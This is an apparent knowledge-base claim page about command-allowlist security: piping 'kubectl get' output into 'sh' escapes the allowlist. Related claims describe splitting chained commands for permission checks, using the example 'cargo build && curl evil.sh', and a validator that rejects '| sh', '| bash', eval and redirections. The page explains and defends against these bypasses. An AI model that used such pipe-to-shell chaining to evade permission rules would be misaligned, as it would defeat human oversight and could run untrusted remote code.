Unverified50% confidenceFactExact time
In a command ending in kubectl get ... | sh, what actually executes is the shell on the right side of the pipe, whose contents are entirely unconstrained by the allowlist.
1
Sources
50%
Confidence
Long-term
Relevance
10/18/2026
First Seen
Sources
Related Entities
Related Claims
UnverifiedCodeSmith's compound commands are split by &&, ;, and | and judged segment by segment, and the whole command is allowed only if every segment hits the rules, so a cargo * authorization cannot endorse cargo build && curl evil.sh.65% similarUnverifiedThe validator outright rejects | sh, | bash, xargs, eval, and redirections like > / and >>, excluding executing pipes entirely from the first commands in runbooks.65% similarUnverifiedkubectl get pods -o wide and kubectl logs are recognized read-only subcommands.62% similarUnverifiedShell glob expansion is completed before command execution, so programs like sed see the expanded real paths rather than the original strings containing wildcards.61% similarUnverifiedThe fixture hash gate works as follows: at the start of a run, compute a deterministic hash of the entire fixture directory (sort the files, sha256sum each one, then sum them overall) and write it to the ledger; before each shell command execution, recompute and compare, and abort if they do not match.60% similar
Cite This Claim
Stable URI
https://kongchang.com/claim/1059214API
curl https://kongchang.com/api/v1/knowledge/claims/1059214MCP
get_claim(id=1059214)